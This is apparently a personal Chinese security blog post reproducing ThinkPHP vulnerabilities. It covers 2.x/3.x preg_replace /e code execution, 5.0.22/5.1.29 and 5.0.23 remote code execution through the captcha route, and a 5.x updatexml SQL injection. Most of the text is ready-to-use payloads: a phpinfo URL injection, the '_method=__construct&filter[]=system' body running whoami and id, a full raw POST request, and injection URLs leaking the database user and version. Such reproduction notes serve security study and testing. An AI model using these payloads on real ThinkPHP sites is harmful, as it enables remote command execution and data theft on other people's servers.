type
status
date
slug
summary
tags
category
icon
password

0x00 thinkphp简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

0x01 ThinkPHP 2.x 3.x 任意代码执行

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞,ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
notion image
payload:/index.php?s=/index/index/name/$%7B@phpinfo()%7D
notion image

0x02 Thinkphp5 5.0.22/5.1.29 远程代码执行

漏洞位置:/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
notion image

0x03 ThinkPHP5 5.0.23远程代码执行

notion image
POC:post请求
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
notion image

0X04 ThinkPHP5 SQL注入漏洞/信息泄露

信息泄露payload:/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
notion image
sql注入payload:/index.php?ids[0,updatexml(0,concat(0xa,@@version),0)]=1
notion image
 
log4j2漏洞复现w13scan的安装使用
告白
告白
一个普通的干饭人🍚
公告
type
status
date
slug
summary
tags
category
icon
password
🎉告白的个人日常博客🎉
-- 关注微信公众号 ---
Gaobai文库
本站内存在文章缺失,框架组件问题待解决
原博客kxsy.work文章已在慢慢迁移本站
渗透时长两年半的个人练习生
-- 感谢您的支持 ---
👏欢迎阅览👏